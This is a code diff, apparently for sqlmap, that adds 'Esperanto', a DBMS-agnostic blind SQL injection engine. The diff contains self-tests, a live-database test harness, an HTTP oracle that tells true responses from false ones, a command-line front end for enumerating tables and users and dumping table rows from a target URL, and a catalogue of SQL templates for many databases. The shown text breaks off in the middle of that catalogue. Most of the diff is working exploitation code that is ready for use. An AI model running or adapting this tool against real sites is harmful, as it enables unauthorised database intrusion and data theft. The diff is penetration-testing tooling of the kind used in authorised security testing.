Esperanto((lambda c: (_ for _ in ()).throw(RuntimeError("down")))).discover() + assert False, "broken oracle silently discovered a dialect" + except RuntimeError: + pass + # (b) a DATA READ never manufactures False from an unobservable probe: it raises + # OracleUndecided (the whole point - a flaky read must not corrupt a bit) + esp = Esperanto(_sqliteOracle()) + esp.discover() + esp.oracle = lambda c: (_ for _ in ()).throw(RuntimeError("down")) # break it post-discovery + try: + esp.extract("(SELECT MAX(name) FROM users)") + assert False, "undecided oracle silently became data" + except OracleUndecided: + pass + # embedded/leading NUL must not truncate (whole-value verification recovers it) + import sqlite3 + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE t (a TEXT)") + con.execute("INSERT INTO t VALUES (?)", ("A\x00B",)) + con.commit() + + def nulOracle(cond): + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(nulOracle) + esp.discover() + nul = esp.extractResult("(SELECT a FROM t)") + assert nul.value == "A\x00B" and nul.complete, "embedded NUL: %r" % nul + + # -- round-5 adversarial regressions -------------------------------------- + esp = Esperanto(_sqliteOracle(), maxlen=0) + esp.discover() + z = esp.extractResult("'abc'") + assert z.value == "" and z.truncated and not z.complete, "maxlen=0: %r" % z + esp = Esperanto(_sqliteOracle()) + esp.discover() + for bad in (("-100", 10), ("100", 10)): # symmetric integer cap + try: + esp.extractInteger(bad[0], maximum=bad[1]) + assert False, "int cap not enforced for %s" % bad[0] + except OverflowError: + pass + try: # None observation -> undecided + Esperanto(lambda c: None, retries=0)._ask("1=1") + assert False, "None became False" + except OracleUndecided: + pass + try: # hard query budget + Esperanto(_sqliteOracle(), max_queries=0)._ask("1=1") + assert False, "budget not enforced" + except QueryBudgetExceeded: + pass + esp = Esperanto(_sqliteOracle()) # ordered PoC refused in equality mode + esp.discover() + esp.dialect.compare = "equality" + try: + esp.poc("'A'") + assert False, "equality-mode PoC fabricated ordering" + except RuntimeError: + pass + # a UTF-16 code-unit fn returning an isolated surrogate must not be "complete" + con = sqlite3.connect(":memory:") + con.execute("CREATE TABLE s (v TEXT)") + con.execute(u"INSERT INTO s VALUES ('\U0001F642')") + con.create_function("ASCII", 1, lambda x: None if not x else ( + ord(x[0]) if ord(x[0]) <= 0xFFFF else 0xD800 + ((ord(x[0]) - 0x10000) >> 10))) + con.commit() + nohex = __import__("re").compile(r"(?i)\bHEX\(|RAWTOHEX|ENCODE\(|BINTOHEX|HEX_ENCODE|TO_HEX|BINTOSTR") + + def surOracle(cond): + if nohex.search(cond): + return False + try: + return con.execute("SELECT CASE WHEN (%s) THEN 1 ELSE 0 END" % cond).fetchone()[0] == 1 + except sqlite3.DatabaseError: + return False + esp = Esperanto(surOracle) + esp.discover() + sur = esp.extractResult("(SELECT v FROM s)") + assert sur.value == _REPL and not sur.complete, "isolated surrogate accepted: %r" % sur + + print(" integrity: fail-closed + NULL/empty + limit0 + int-cap + budget + surrogate + PoC -> guarded") + + # -- InferenceStrategy: the frozen hand-off is a *sufficient* host interface -- + oracle = _sqliteOracle() + esp = Esperanto(oracle) + esp.discover() + strat = esp.strategy() + try: # immutable + strat.compare_mode = "x" + assert False, "strategy is not frozen" + except AttributeError: + pass + # extract using ONLY the strategy + oracle (no Esperanto retrieval code) + got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)") + assert got == "Admin-42", "hostExtract via strategy failed: %r" % got + row = strat.asQueriesRow() + assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row + print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got)) + print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)") + + +def _livetest(only=None, waf=False): + """Live blind validation against real DBMS instances (dev harness, '--live'). + Each backend is handed ONLY a boolean oracle - dialect-mismatch errors read as + False, the transaction rolled back per probe - and is never told which engine it + is poking. Requires the driver + a reachable instance; skips what it can't reach.""" + import re as _re + SECRET = "Zagreb-Ka5tel" + block = _re.compile(r"(?i)\b(ASCII|UNICODE|ORD|CODEPOINT|ASCII_VAL|ASCW|UNICODE_CODE|CODE)\s*\(") if waf else None + + def cursor(con, wrap): + def ask(cond): + if block and block.search(cond): + return False + cur = con.cursor() + try: + cur.execute(wrap % cond) + row = cur.fetchone() + return bool(row) and int(row[0]) == 1 + except Exception: + try: + con.rollback() + except Exception: + pass + return False + finally: + try: + cur.close() + except Exception: + pass + return ask + + def prep(con, ddl): + cur = con.cursor() + for stmt in ddl: + try: + cur.execute(stmt) + except Exception: + if hasattr(con, "rollback"): + con.rollback() + con.commit() + cur.close() + + def sqlite(): + import sqlite3 + con = sqlite3.connect(":memory:") + prep(con, ("CREATE TABLE esp_probe (name TEXT)", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def mysql(): + import pymysql + con = pymysql.connect(host="127.0.0.1", port=13306, user="root", password="root", database="lab") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def postgres(): + import psycopg2 + con = psycopg2.connect(host="127.0.0.1", port=15432, user="esp", password="pass", dbname="espdb") + prep(con, ("DROP TABLE IF EXISTS esp_probe", "CREATE TABLE esp_probe (name VARCHAR(64))", + "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + def oracle(): + import oracledb + con = oracledb.connect(user="appu", password="appu", dsn="127.0.0.1:1521/FREEPDB1") + prep(con, ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE esp_probe'; EXCEPTION WHEN OTHERS THEN NULL; END;", + "CREATE TABLE esp_probe (name VARCHAR2(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END FROM DUAL") + + def mssql(): + import pymssql + con = pymssql.connect(server="127.0.0.1", port="11433", user="sa", password="Esp_pass123", database="master") + prep(con, ("IF OBJECT_ID('esp_probe') IS NOT NULL DROP TABLE esp_probe", + "CREATE TABLE esp_probe (name VARCHAR(64))", "INSERT INTO esp_probe VALUES ('%s')" % SECRET)) + return cursor(con, "SELECT CASE WHEN (%s) THEN 1 ELSE 0 END") + + ok = True + for name, factory in (("SQLite", sqlite), ("MySQL", mysql), ("PostgreSQL", postgres), + ("Oracle", oracle), ("MSSQL", mssql)): + if only and name.lower() not in only: + continue + try: + oracle_fn = factory() + except Exception as ex: + print(" %-12s SKIP (%s)" % (name, ex)) + continue + esp = Esperanto(oracle_fn) + try: + esp.discover() + got = esp.extract("(SELECT MAX(name) FROM esp_probe)") + product = esp.identify()["product"] + except Exception as ex: + print(" %-12s FAIL (%s)" % (name, ex)) + ok = False + continue + passed = got == SECRET + ok = ok and passed + print(" %-12s %s product=%-12r secret=%r%s" % ( + name, "PASS" if passed else "FAIL", product, got, " [WAF]" if waf else "")) + return ok + + +def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notString=None, code=None): + """A boolean oracle over a real HTTP target, for standalone use. The condition is + substituted at the injection marker: '[INFERENCE]' is replaced verbatim (you supply + the context, e.g. `id=1 AND [INFERENCE]`), else a single '*' is replaced with + ` AND ()`. + + True/false is decided by a reduced port of sqlmap's response differentiation - the + Pareto 80%: explicit --string/--not-string/--code win; otherwise it CALIBRATES from + two true (1=1) baselines + one false (1=2) and auto-picks the cheapest reliable + signal - HTTP status code, else a stable text line present in true but not false, + else a difflib similarity ratio. Two noise-killers borrowed from sqlmap make it + robust: DYNAMIC content (lines that differ between two identical true requests, e.g. + timestamps/CSRF/nonces) is stripped, and the REFLECTED injected condition is removed + from the body so it can't skew the match (sqlmap's "reflective values ... filtering + out"). Not a replacement for checkBooleanExpression - just its high-value core.""" + import difflib + try: # py3 + from urllib.parse import quote as _quote, urlsplit + from http.client import HTTPConnection, HTTPSConnection + except ImportError: # py2 + from urllib import quote as _quote + from urlparse import urlsplit + from httplib import HTTPConnection, HTTPSConnection + + if "[INFERENCE]" not in (url + (data or "")) and "*" not in (url + (data or "")): + url = url + "*" # no marker given -> inject at the end of the URL by default + print("[*] no injection marker ('*' or '[INFERENCE]') given; defaulting to end of URL: %s" % url) + + # ONE kept-alive connection reused across every probe. a blind dump is thousands of + # requests; opening a fresh TCP+TLS handshake per probe (what urlopen does) is ~0.2s of + # pure handshake that dwarfs the request itself - reuse drops per-probe latency ~5-10x. + _conn = {"c": None, "key": None} + + def _fresh(scheme, netloc): + return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30) + + def fetch(cond): + if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context) + u_raw = url.replace("[INFERENCE]", cond) + d_raw = data.replace("[INFERENCE]", cond) if data else data + else: # '*' -> boolean AND at the mark + ins = " AND (%s)" % cond + u_raw = url.replace("*", ins, 1) if "*" in url else url + d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data + # keep the '='/'&' param structure, encode the rest so spaces/metachars survive + parts = urlsplit(u_raw) + path = parts.path or "/" + if parts.query: + path += "?" + _quote(parts.query, safe="=&") + body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None + method = "POST" if body else "GET" + hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"} + if body: + hdrs["Content-Type"] = "application/x-www-form-urlencoded" + if cookie: + hdrs["Cookie"] = cookie + for h in (headers or []): + k, _, v = h.partition(":") + hdrs[k.strip()] = v.strip() + key = (parts.scheme, parts.netloc) + for attempt in (1, 2): # reuse the socket; reconnect once if it dropped + if _conn["c"] is None or _conn["key"] != key: + if _conn["c"] is not None: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"], _conn["key"] = _fresh(parts.scheme, parts.netloc), key + try: + _conn["c"].request(method, path, body, hdrs) + resp = _conn["c"].getresponse() # http.client returns 4xx/5xx too (no raise) + raw, status = resp.read(), resp.status # read fully so the socket stays reusable + return raw.decode("utf-8", "replace"), status + except Exception: + try: + _conn["c"].close() + except Exception: + pass + _conn["c"] = None # force a reconnect on the retry + return "", 0 + + dyn = set() + + def _deReflect(body, cond): + return body.replace(cond, "") if cond else body # drop the reflected payload + + def _clean(body, cond): + body = _deReflect(body, cond) + return "\n".join(ln for ln in body.split("\n") if ln not in dyn) if dyn else body + + mode, wanted, base = None, None, {} + if string is not None: + mode = "string" + elif notString is not None: + mode = "notstring" + elif code is not None: + mode, wanted = "code", int(code) + else: # auto-calibrate + (t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2") + dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic + tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2") + if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false + mode, wanted = "code", s1 + else: + # (2) a SHORT distinctive true-only marker: the longest contiguous chunk that is + # in the true page but not the false one, capped to a "longish" string (never the + # whole document) and verified stable across BOTH true baselines + t2c = _clean(t2, "1=1") + blocks = difflib.SequenceMatcher(None, fc, tc, autojunk=False).get_opcodes() + chunks = sorted((tc[b1:b2].strip() for op, _a1, _a2, b1, b2 in blocks + if op in ("insert", "replace")), key=len, reverse=True) + wanted = None + for chunk in chunks: + marker = chunk[:64] # bounded, distinctive marker + if len(marker) >= 6 and marker in t2c and marker not in fc: + mode, wanted = "autostring", marker + break + if wanted is None: # (3) similarity ratio floor + mode, base = "ratio", {"t": tc, "f": fc} + if not string and not notString: + print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else "")) + + def oracle(cond): + body, status = fetch(cond) + if mode == "string": + return string in body + if mode == "notstring": + return notString not in body + if mode == "code": + return status == wanted + if mode == "autostring": + return wanted in _clean(body, cond) + c = _clean(body, cond) + st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio() + sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio() + return st >= sf + + return oracle + + +def _report(esp, args): + """Run the requested action(s) against a discovered target and print the results.""" + print("[*] dialect: %r" % esp.dialect) + verdict = esp.identify() + print("[*] back-end: %s %s" % (verdict.get("product") or "unknown", verdict.get("version") or "")) + # scope schema/db lookups to -D, else the current database (and, for a specific table, + # the schema it actually lives in) - WITHOUT this a table that ALSO exists in a system + # schema (e.g. MySQL's mysql/information_schema 'users') merges columns and yields a + # garbage 0-row dump. mirrors the sqlmap handler's _scopeFor. + scope = args.db + if scope is None and (args.tables or args.columns or args.dump): + dbexpr = esp.dialect.identity.get("database") + try: + cur = esp.extract(dbexpr) if dbexpr else None + except Exception: + cur = None + if args.tbl and (args.columns or args.dump): + try: + scope = cur if (cur and esp.hasTable(args.tbl, cur)) else (esp.tableSchema(args.tbl) or cur) + except Exception: + scope = cur + else: + scope = cur + if scope: + print("[*] scoping to database/schema: %s" % scope) + if args.current_user: + expr = esp.dialect.identity.get("user") + print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a")) + if args.current_db: + expr = esp.dialect.identity.get("database") + print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a")) + if args.tables: + print("[*] fetching tables ...") + print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or [""])) + if args.columns: + if not args.tbl: + print("[!] --columns needs -T ") + else: + print("[*] fetching columns for '%s' ..." % args.tbl) + print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or [""]))) + if args.query: + print("[*] fetching %s ..." % args.query) + print("[*] %s = %r" % (args.query, esp.extract(args.query))) + if args.dump: + if not args.tbl: + print("[!] --dump needs -T
") + else: + cols = [c.strip() for c in args.col.split(",")] if args.col else None + if cols is None: # enumerate columns FIRST (own phase), so the + print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names + cols = esp.columns(args.tbl, schema=scope) or None + print("[*] fetching entries for table '%s' ..." % args.tbl) + result = esp.dump(args.tbl, columns=cols, schema=scope) + if not result or not result["columns"]: + print("[!] could not dump %s" % args.tbl) + else: + print("[*] %s (%d rows):" % (args.tbl, len(result["rows"]))) + print(" " + " | ".join(result["columns"])) + for row in result["rows"]: + print(" " + " | ".join("NULL" if v is None else v for v in row)) + + +def main(argv=None): + """Standalone entry point: drive the engine against a live HTTP target.""" + import argparse + + class _Formatter(argparse.HelpFormatter): + # show the metavar ONCE ('-H, --header HEADER', not '-H HEADER, --header HEADER'), + # like sqlmap's own help, so option/help stays on a single line + def __init__(self, prog): + argparse.HelpFormatter.__init__(self, prog, max_help_position=28) + + def _format_action_invocation(self, action): + if not action.option_strings or action.nargs == 0: + return ", ".join(action.option_strings) or argparse.HelpFormatter._format_action_invocation(self, action) + metavar = self._format_args(action, action.dest.upper()) # py2/py3-portable default metavar + return "%s %s" % (", ".join(action.option_strings), metavar) + + parser = argparse.ArgumentParser( + prog="esperanto", formatter_class=_Formatter, + description="DBMS-agnostic blind-SQLi enumeration engine (standalone)") + parser.add_argument("-u", "--url", help="target URL (with a '*'/'[INFERENCE]' marker)") + parser.add_argument("--data", help="POST data string") + parser.add_argument("--cookie", help="HTTP Cookie header") + parser.add_argument("-H", "--header", action="append", help="extra HTTP header (repeatable)") + parser.add_argument("--string", help="match string for a True response") + parser.add_argument("--not-string", dest="not_string", help="match string for a False response") + parser.add_argument("--code", type=int, help="HTTP code for a True response") + parser.add_argument("--banner", action="store_true", help="retrieve DBMS banner") + parser.add_argument("--current-user", action="store_true", dest="current_user", help="retrieve current user") + parser.add_argument("--current-db", action="store_true", dest="current_db", help="retrieve current database") + parser.add_argument("--tables", action="store_true", help="enumerate tables") + parser.add_argument("--columns", action="store_true", help="enumerate table columns (needs -T)") + parser.add_argument("--dump", action="store_true", help="dump table entries (needs -T)") + parser.add_argument("--sql-query", dest="query", help="run a custom scalar SQL query") + parser.add_argument("-D", dest="db", help="database/schema to enumerate") + parser.add_argument("-T", dest="tbl", help="table to enumerate") + parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)") + # internal dev/test harness switches - functional but hidden from --help (--live drives the + # local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass) + parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--waf", action="store_true", help=argparse.SUPPRESS) + parser.add_argument("--self-test", action="store_true", dest="selftest", help=argparse.SUPPRESS) + args, engines = parser.parse_known_args(argv) + + if args.live: + names = [a.lower() for a in engines if not a.startswith("-")] + return 0 if _livetest(only=names or None, waf=args.waf) else 1 + if args.selftest: # self-test only on EXPLICIT request + _selftest() + return 0 + if not args.url: # no target and nothing to do -> show help, don't surprise + parser.print_help() + return 1 + + target = args.url if "://" in args.url else ("http://" + args.url) # tolerate a scheme-less URL + esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header, + args.string, args.not_string, args.code)) + import sys as _sys + def _live(value): # signs of life during the (slow, blind) extraction + _sys.stdout.write("[*] retrieved: %s\n" % value) + _sys.stdout.flush() + esp._progress = _live + print("[*] discovering the back-end SQL dialect (agnostic mode) ...") + try: + esp.discover() + _report(esp, args) + except RuntimeError as ex: # unreachable/uninjectable target -> clean message, no traceback + print("[!] could not establish a working boolean oracle (%s)" % ex) + print(" check the target is reachable and injectable, and the marker/--string/--code are right") + return 1 + except KeyboardInterrupt: # Ctrl-C mid-extraction -> clean stop, no traceback + print("\n[!] aborted by user") + return 1 + return 0 + + +if __name__ == "__main__": + import sys + sys.exit(main()) diff --git a/extra/esperanto/atlas.py b/extra/esperanto/atlas.py new file mode 100644 index 00000000000..07ae9981b77 --- /dev/null +++ b/extra/esperanto/atlas.py @@ -0,0 +1,431 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Capability atlas: the candidate SQL forms Esperanto tries (best-first) to discover a +dialect blind, mined from data/xml/queries.xml across the supported DBMSes. Data only, +no logic. Each table is (name, template, ...); templates use str.format fields such as +{expr}/{a}/{b}/{code}/{col}/{x}. Source is pure ASCII - any non-ASCII character is +written as a \\uXXXX escape so it is always obvious which code point is meant. +""" + +from __future__ import print_function + +import binascii + + +def _unhexlify(value): + """Strict py2/3 hex decode - rejects non-hex/odd-length rather than cleaning it.""" + if isinstance(value, type(u"")): + value = value.encode("ascii") + return binascii.unhexlify(value) + + +def _isSingleUnicodeScalar(value): + """True for exactly one Unicode scalar (incl. a py2 narrow-build surrogate pair).""" + if len(value) == 1: + return True + return (len(value) == 2 and 0xD800 <= ord(value[0]) <= 0xDBFF and + 0xDC00 <= ord(value[1]) <= 0xDFFF) + + +# string concatenation of {a} and {b} (operator or function form) +_CONCAT = ( + ("pipes", "({a})||({b})"), # || : 26/31 DBMSes (ANSI) + ("concat", "CONCAT({a},{b})"), # MySQL/MaxDB/HSQLDB + ("plus", "({a})+({b})"), # MSSQL/Sybase + ("amp", "({a})&({b})"), # MS Access +) + + +# 1-based substring: {len} characters of {expr} starting at {pos} +_SUBSTRING = ( + ("SUBSTR", "SUBSTR(({expr}),{pos},{len})"), + ("SUBSTRING", "SUBSTRING(({expr}),{pos},{len})"), + ("MID", "MID(({expr}),{pos},{len})"), + ("SUBSTRING_FROM", "SUBSTRING(({expr}) FROM {pos} FOR {len})"), + ("SUBSTRC", "SUBSTRC(({expr}),{pos},{len})"), + ("substring_lc", "substring(({expr}),{pos},{len})"), + # LEFT/RIGHT composition, a fallback rung for dialects/filters exposing LEFT+RIGHT + # but not SUBSTR/SUBSTRING/MID. NOTE: this identity is exact only for len<=1 (which + # is ALL esperanto ever asks - every _sub() call reads one char), where it reduces to + # RIGHT(LEFT(x,pos),1). For len>1 past the string end it over-returns; the general + # fix needs LEN(x), which would defeat this rung's whole purpose (no length fn), so + # it is deliberately kept length-free and len=1-scoped. + ("left_right", "RIGHT(LEFT(({expr}),({pos})+({len})-1),{len})"), +) + + +# CHARACTER count of {expr} (byte-count functions live in _BYTELEN, not here) +_LENGTH = ( + ("CHAR_LENGTH", "CHAR_LENGTH({expr})"), + ("LENGTH", "LENGTH({expr})"), + ("LEN", "LEN({expr})"), + ("length_lc", "length({expr})"), +) + + +# single char {expr} -> its integer code point +_CHARCODE = ( + ("ASCII", "ASCII({expr})"), + ("UNICODE", "UNICODE({expr})"), + ("ORD", "ORD({expr})"), + ("CODEPOINT", "CODEPOINT({expr})"), + ("UNICODE_VAL", "UNICODE_VAL({expr})"), # Firebird (code point; ASCII_VAL below errors >255) + ("ASCII_VAL", "ASCII_VAL({expr})"), + ("ASCW", "ASCW({expr})"), + ("UNICODE_CODE", "UNICODE_CODE({expr})"), + ("TO_CODE_POINTS", "TO_CODE_POINTS({expr})[SAFE_OFFSET(0)]"), # BigQuery/Spanner (array-indexed) +) + + +# integer {code} -> single char (lets extraction build literals without quoting) +_CHARFROM = ( + ("CHAR", "CHAR({code})"), + ("CHR", "CHR({code})"), + ("NCHAR", "NCHAR({code})"), + ("UNICODE_CHAR", "UNICODE_CHAR({code})"), # Firebird (code point; pairs with UNICODE_VAL) + ("ASCII_CHAR", "ASCII_CHAR({code})"), # Firebird (0-255) +) + + +# {expr} -> uppercase, prefixless (no 0x/0h) HEX of its bytes (collation-independent; recovers case) +_HEXFN = ( + ("HEX", "UPPER(HEX({expr}))"), # MySQL/MariaDB/TiDB/SQLite/DB2/MaxDB/Cubrid/ClickHouse/Doris/StarRocks/Spark/Hive + ("RAWTOHEX_RAW", "UPPER(RAWTOHEX(UTL_RAW.CAST_TO_RAW({expr})))"), # Oracle + ("RAWTOHEX", "UPPER(RAWTOHEX({expr}))"), # H2 / HSQLDB (yields UTF-16 hex, e.g. 'q'->'0071') + ("ENCODE", "UPPER(ENCODE(CONVERT_TO(({expr})::text,'UTF8'),'HEX'))"),# PostgreSQL/CockroachDB/CrateDB + ("mssql_convert", "UPPER(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),CONVERT(NVARCHAR(MAX),{expr})),2))"), # MSSQL/Azure SQL: normalize to NVARCHAR so the bytes are ALWAYS UTF-16LE (CAST-to-VARBINARY of a varchar is 1-byte, of an nvarchar 2-byte - mixing the two mis-decodes); MAX = don't truncate + ("BINTOSTR", "UPPER(BINTOSTR(CONVERT(VARBINARY,{expr})))"), # Sybase + ("HEX_ENCODE", "UPPER(HEX_ENCODE({expr}))"), # Snowflake/Altibase (Firebird needs a VARBINARY cast) + ("BINTOHEX", "UPPER(BINTOHEX(TO_BINARY({expr})))"), # SAP HANA + ("TO_HEX_VARBINARY", "UPPER(TO_HEX(CAST({expr} AS VARBINARY)))"), # Presto/Vertica + ("TO_HEX_BYTES", "UPPER(TO_HEX(CAST({expr} AS BYTES)))"), # BigQuery/Spanner +) + + +# uppercase hex alphabet the nibble reader walks over +_HEXDIGITS = "0123456789ABCDEF" + + +# cap on a single char's hex length (UTF-32 = 8 bytes = 16 nibbles) +_MAX_HEX_CHAR_NIBBLES = 16 + + +# hex encodings of 'q' (0x71) -> the text codec that decodes them; distinguishes +# single-byte (utf-8/ascii) from UTF-16 BE/LE so the dump decoder reads the right one +_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le")) + + +# the only code points a hex-framed dump payload can contain (hex digits + N/V markers +# + the ',' delimiter); lets that value extract via a tiny bisection alphabet +_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV")) + + +# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default +# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL) +_BINWRAP = ( + ("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica + ("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE + ("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks + ("binary_op", "BINARY ({x})"), # MySQL (operator form) + ("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family + ("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2 + ("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby + ("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle + ("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise) +) + + +# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull) +_BULK_AGG = ( + ("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks + ("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery + ("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful + ("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase + ("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB + ("list_fb", "LIST({col})"), # Firebird (returns BLOB) + ("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw) +) + + +# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family +_DUAL = ( + ("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/... + ("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID + ("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby + ("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird + ("DUMMY", " FROM DUMMY"), # SAP HANA + ("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix + ("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard + ("system.onerow", " FROM system.onerow"), # Mimer SQL +) + + +# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail) +_DUAL_IMPLIES = { + "DUAL": "Oracle / MaxDB / Altibase / CUBRID", + "SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby", + "RDB$DATABASE": "Firebird", + "DUMMY": "SAP HANA", + "SYSMASTER:SYSDUAL": "Informix", + "VALUES": "HSQLDB / SQL-standard", + "system.onerow": "Mimer SQL", +} + + +# version-banner probes: (label, expr, product, implies_product). engine-specific first; +# implies_product=False marks generic banners where only the banner TEXT names the product +_BANNERS = ( + ("H2VERSION()", "H2VERSION()", "H2", True), + ("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True), + ("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True), + ("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True), + ("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle + ("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE + ("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True), + ("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True), + ("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True), + ("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True), + ("@@VERSION", "@@VERSION", None, False), + ("VERSION()", "VERSION()", None, False), + ("version()", "version()", None, False), +) + + +# product names searched for INSIDE a banner string; forks listed BEFORE their parents +# (e.g. MariaDB before MySQL) so the more specific name wins +_BANNER_KEYWORDS = ( + "Microsoft SQL Server", + "CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL", + "TiDB", "Percona", "MariaDB", "MySQL", + "Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake", + "Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix", +) + + +# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing) +_BYTELEN = ( + ("OCTET_LENGTH", "OCTET_LENGTH({expr})"), + ("DATALENGTH", "DATALENGTH({expr})"), + ("LENGTHB", "LENGTHB({expr})"), +) + + +# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed +_TEXTCAST = ( + ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), + ("cast_text", "CAST(({expr}) AS TEXT)"), + ("cast_char", "CAST(({expr}) AS CHAR)"), + ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), + ("to_char", "TO_CHAR({expr})"), + ("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"), + ("cast_string", "CAST(({expr}) AS STRING)"), + ("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"), +) + + +# substitute {fallback} when {expr} IS NULL +_COALESCE = ( + ("COALESCE", "COALESCE({expr},{fallback})"), + ("IFNULL", "IFNULL({expr},{fallback})"), + ("NVL", "NVL({expr},{fallback})"), + ("ISNULL", "ISNULL({expr},{fallback})"), + ("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"), +) + + +# expressions that yield the current user / database-or-schema / version, per kind +_IDENTITY = { + "user": ( + "CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER", + "SUSER_NAME()", "USER_NAME()", 